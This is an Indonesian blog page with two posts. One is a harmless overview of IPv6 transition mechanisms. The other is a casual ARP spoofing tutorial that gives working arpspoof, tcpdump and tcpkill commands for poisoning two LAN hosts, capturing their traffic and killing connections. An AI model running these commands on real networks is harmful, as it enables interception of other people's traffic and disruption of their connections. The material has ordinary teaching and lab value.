Tampilkan postingan dengan label networking. Tampilkan semua postingan
Tampilkan postingan dengan label networking. Tampilkan semua postingan

Rabu, 11 Februari 2009

IMPLEMENTASI IPv6

Secara garis besar implementasi IPv6 tidak dapat dengan serta merta dilakukan di semua lini end-to-end, terkait dengan keterlibatan jumlah komunitas/organisasi yang sangat besar di Internet, banyaknya aplikasi berbasis IPv4 yang telah digunakan, dan banyaknya bisnis yang masih memanfaatkan IPv4. Hal yang akan terjadi adalah adanya fase transisi secara bertahap dari IPv4 ke IPv6 dan implementasi IPv6 yang co-exist dengan IPv4 selama renggang waktu yang tidak dapat diprediksi.

Namun demikian desain IPv6 sudah menyertakan mekanisme transisi. Beberapa mekanisme transisi tersebut yaitu:



Translasi: yaitu mekanisme implementasi yang memungkinkan komunikasi antara IPv6 dengan IPv4. Beberapa contoh mekanisme ini adalah SIIT, NAT-PT, SOCKS 64.

Tunneling yaitu mekanisme yang memungkinkan komunikasi end-to-end IPv6 di atas jaringan IPv4 atau sebaliknya. Contoh mekanisme tunneling ini 6to4, 6 over4, Tunnel broker, automatic tunnel.

Dual Stack adalah mekanisme implementasi yang mempersyaratkan dukungan terhadap IPv6 dan IPv4 di perangkat yang sama.

IPv6 berdasarkan implementasinya dapat dibedakan dalam 2 kelompok, yakni:

Implementasi di level aplikasi yang terkait juga dengan dukungan servernya.

Pada saat ini telah terdapat beberapa aplikasi yang sudah mendukung IPv6 diantaranya aplikasi jaringan dasar (Apache: Web server, FTP, Ping, Telnet, SSH, mail) serta XML (bahasa pemrograman untuk pengembangan software), dan untuk server hampir semua Operating System versi terakhir telah mendukung IPv6 diantaranya adalah Windows XP SP1, Linux (antar lain: Fedora, Mandrake, Ubuntu), Mac OS, Sun Solaris, AIX.

Implementasi level jaringan IP.

Untuk perangkat jaringan IP yang bekerja di bawah layer 3 OSI (seperti hub, switch layer 2, teknologi transmisi) tidak terpengaruh dengan implementasi IPv6, namun perangkat-perangkat yang melibatkan proses routing dan identifikasi layer 3 OSI (seperti routing, switch layer 3) perlu mendukung teknologi IPv6.

Kedua level implementasi IPv6 di atas dapat digunakan sebagai dasar pertimbangan bagi penyelenggara telekomunikasi untuk mengimplementasikan IPv6 di dalam infrastrukturnya dan pertimbangan pengembangan organisasi untuk implementasi IPv6.

SEKILAS MENGENAI IPv6

IPv6 yang disebut sebagai IP next generation, bagi penyelenggara telekomunikasi merupakan teknologi yang perlu diantisipasi pertumbuhan demand dan implementasinya. Pada saat ini hampir semua aplikasi bisnis khususnya di segmen korporasi masih memanfaatkan teknologi IP eksisting yakni IPv4, namun demikian belum terdapat tanda yang jelas kapan migrasi atau implementasi IPv6 secara global akan terjadi.

Kelebihan atau solusi yang terdapat di dalam desain IPv6 adalah salah satu pemicu percepatan implementasi. Kelebihan-kelebihan IPv6 adalah sebagai berikut:


1) IPv6 merupakan solusi bagi keterbatasan alamat IPv4 (32 bit). IPv6 dengan 128 bit memungkinkan pengalamatan yang lebih banyak, yang memungkinkan IP-nisasi berbagai perangkat (PDA, handphone, perangkat rumah tangga, perlengkapan otomotif).



2) Aspek keamanan dan kualitas layanan (QoS) yang telah terintegrasi.

3) Desain autokonfigurasi IPv6 dan strukturnya yang berhirarki memungkinkan dukungan terhadap komunikasi bergerak tanpa memutuskan komunikasi end-to-end.

4) IPv6 memungkinkan komunikasi peer-to-peer tanpa melalui NAT, sehingga memudahkan proses kolaborasi / komunikasi end-to-end: manusia ke manusia, mesin ke mesin, manusia ke mesin dan sebaliknya.

Senin, 14 April 2008

ARP Spoofing n sniffing

Address Resolution Protocol (ARP) adalah protokol untuk mapping dari alamat IP (Internet Protocol) ke alamat fisik MAC (Media Access Control). Misal di suatu jaringan kita ingin mengirim paket ke host A 192.168.1.2, maka pertama kita harus tau sapa yg mempunyai alamat IP tsb. Maka ARP akan membroadcast pertanyaan tsb ke semua host yang ada di jaringan. Sang empunya alamat IP tsb akan menjawab kembali sahutan tsb dengan mengirimkan alamat MACnya. Alamat MAC ini akan disimpan di tabel ARP untuk memudahkan pencarian jika diperlukan pengiriman paket ke tujuan yang sama.

Kayak gimana sih bentuk format frame ARP? Terdiri dari 2 bagian, yaitu header ethernet dan paket ARP. Header ethernet berupa :
- 6 byte alamat tujuan
- 6 byte alamat pengirim
- 2 byte jenis frame ARP

Sedangkan paket ARPna berupa :
- 2 byte jenis alamat hardware (1 = ethernet)
- 2 byte jenis protokol yang di map (0800H = alamat IP)
- 1 byte ukuran alamat hardware
- 1 byte ukuran protokol
- 2 byte tipe operasi (1 = ARP request, 2=ARP reply, 3=*RARP request
,4=RARP reply)
- 6 byte alamat ethernet pengirim
- 4 byte alamat IP pengirim
- 6 byte alamat ethernet penerima
- 4 byte alamat IP penerima

*RARP (Reverse Address Resolution Protocol) digunakan untuk sistem komputer diskless, guna mendapatkan alamat IP mereka saat boot.

ARP Spoofing merupakan suatu kegiatan yang memanipulasi paket ARP. Misal paket X dari komputer A ditujukan untuk komputer B, ketika komputer A membroadcast paket ARP di jaringan, maka komputer C sang manipulator dapat "meracuni" (Posioning) paket ARP tsb agar paket X ditujukan ke komputer C terlebih dahulu baru diforward ke komputer B. Poisoning ini mengganti alamat MAC komputer B dengan alamat MAC komputer C di tabel ARP komputer A dan sebaliknya, alamat MAC komputer A diganti menjadi alamat MAC komputer C di tabel ARP komputer B. Jenis-jenis serangan yang bisa dilakukan dnegan ARP Spoofing diantarana adalah sniffing, Man in the Middle, MAC Flooding, DoS (Denial of Service), Hijacking n Cloning.

Apa ajah sih yg diperluin buat ARP Spoofing ini? Kalo aq sih pake arpspoof yang ada di paket dsniff-2.3 untuk OS Linux. Ohiya, sebelum menginstall dsniff ini perlu dicek apakah di sistem yang digunain dah terinstall libnet ma libnids. Jangan lupa untuk jenis attacking sniffing ato MIM perlu IP Forwarding diaktifkan (echo 1 > /proc/sys/net/ipv4/ip_forward).

Seperti biasa, unpack paket dsniff lalu configure n terakhir make install. Ohiya, pas saat make, aq sempet dapet error compiling module sshcrypto :

sshcrypto.c:30: error: parse error before "des_key_schedule"
....blablabla
....blablabla
*** Error code 1

Solusina kita buka n edit file sshcrypto.c di folder dsniff-2.3, tambahin :

#include
#include

di deklarasi file header yang diperlukan. Bila dah kelar n gak da error lagi, coba jalanin si dsniff ato si arpspoof :)

Yuukk kita coba meracuni n ngendus paket antara komputer A 192.168.1.1 n komputer B 192.168.1.3, komputer C (attacker) 192.168.1.6.

jalanin si arpspoof terlebih dahulu :

root@slack:~# arpspoof -t 192.168.1.1 192.168.1.3 & >/dev/null
root@slack:~# arpspoof -t 192.168.1.3 192.168.1.1 & >/dev/null

kalo dah bener nanti di console akan muncul kayak gini :

0:c:29:3e:2d:46 0:15:e9:b5:83:62 0806 42: arp reply 192.168.1.3 is-at 0:c:29:3e:2d:46
0:e0:29:63:d1:6 0:15:e9:b5:83:62 0806 42: arp reply 192.168.1.3 is-at 0:e0:29:63:d1:6

Setelah itu bisa kita endus pake dsniff ato tcpdump, misal mo pake tcpdump bisa kita capture hasilna ke file, pake :

root@slack:~# tcpdump -i eth0 -w endus.txt

dimana eth0 adalah interface card dan endus.txt adalah nama file outputna :). Kalo file tsb dibuka masi kaco isina >.<, jadi bisa kita liat pake tcpdump juga, pake :

root@slack:~# tcpdump -r endus.txt

hehehehe lumayan asik kan ARP Spoofing, gak hanya buat sniffing juga tapi bisa kita blok koneksi tertentu misal :

root@slack:~# tcpkill -9 host www.playboy.com

Untuk matiin proses si arpspoof n tcpdump bisa dengan cara :

root@slack:~# killall arpspoof
root@slack:~# killall tcpdump

 
Design by Wordpress Theme | Bloggerized by Free Blogger Templates | coupon codes